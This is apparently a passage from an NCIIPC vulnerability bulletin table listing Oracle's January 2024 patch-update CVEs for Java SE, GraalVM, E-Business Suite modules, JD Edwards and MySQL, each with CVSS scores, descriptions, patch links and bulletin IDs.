N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/902

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/903

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Affected Version(s): 22.3.4					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/904

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Product: graalvm_for_jdk					
Affected Version(s): 17.0.9					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/905

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20926		
Affected Version(s): 21.0.1					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/906

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Product: installed_base					
Affected Version(s): From (including) 12.2.3 Up to (including) 12.2.13					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Installed Base product of Oracle E-Business Suite (component: Engineering Change Order). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Installed Base. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Installed Base, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Installed Base accessible data as well as unauthorized read access to a subset of Oracle Installed	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-INST-140224/907

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Base accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20934**		
Product: istore					
Affected Version(s): From (including) 12.2.3 Up to (including) 12.2.13					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle iStore product of Oracle E-Business Suite (component: ECC). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iStore. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iStore, attacks may significantly impact additional products (scope change). Successful attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-ISTO-140224/908

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle iStore accessible data as well as unauthorized read access to a subset of Oracle iStore accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20938**		
Product: isupport					
Affected Version(s): From (including) 12.2.3 Up to (including) 12.2.13					
N/A	16-Jan-2024	5.4	Vulnerability in the Oracle iSupport product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSupport.	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-ISUP-140224/909

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iSupport, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle iSupport accessible data as well as unauthorized read access to a subset of Oracle iSupport accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20944**		
Product: jdk					
Affected Version(s): 17.0.9					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM	https://www.oracle.com/security-	A-ORA-JDK-140224/910

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by	alerts/cpujan2024.html	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Affected Version(s): 21.0.1					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting).	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JDK-140224/911

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Affected Version(s): 1.8.0					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JDK-140224/912

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments,		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JDK-140224/913

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments,		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Affected Version(s): 11.0.21					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JDK-140224/914

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Product: jd_edwards_enterpriseone_tools					
Affected Version(s): * Up to (excluding) 9.2.8.1					
N/A	16-Jan-2024	2.7	Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC). Supported versions that are affected are Prior to 9.2.8.1. Easily exploitable vulnerability allows high privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of JD Edwards EnterpriseOne	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JD_E-140224/915

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Tools. CVSS 3.1 Base Score 2.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L). **CVE ID : CVE-2024-20957**		
Product: jre					
Affected Version(s): 17.0.9					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JRE-140224/916

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Affected Version(s): 21.0.1					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JRE-140224/917

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20926		
Affected Version(s): 1.8.0					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JRE-140224/918

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE,	https://www.oracle.com/securi	A-ORA-JRE-140224/919

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This	ty-alerts/cpujan2024.html	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Affected Version(s): 11.0.21					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-JRE-140224/920

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g.,		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
Product: knowledge_management					
Affected Version(s): From (including) 12.2.3 Up to (including) 12.2.13					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Knowledge Management product of Oracle E-Business Suite (component: Create, Update, Authoring Flow). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-KNOW-140224/921

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Knowledge Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Knowledge Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Knowledge Management accessible data as well as unauthorized read access to a subset of Oracle Knowledge Management accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20940**		
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Knowledge Management product of Oracle E-Business Suite (component: Setup, Admin). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Knowledge Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Knowledge Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-KNOW-140224/922

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			update, insert or delete access to some of Oracle Knowledge Management accessible data as well as unauthorized read access to a subset of Oracle Knowledge Management accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20948**		
Product: mysql					
Affected Version(s): From (including) 8.0.0 Up to (including) 8.0.34					
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.34 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/923

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20983**		
Affected Version(s): From (including) 8.0.0 Up to (including) 8.0.35					
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/924

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20961**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: Encryption). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/925

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20963**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/926

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20973**		
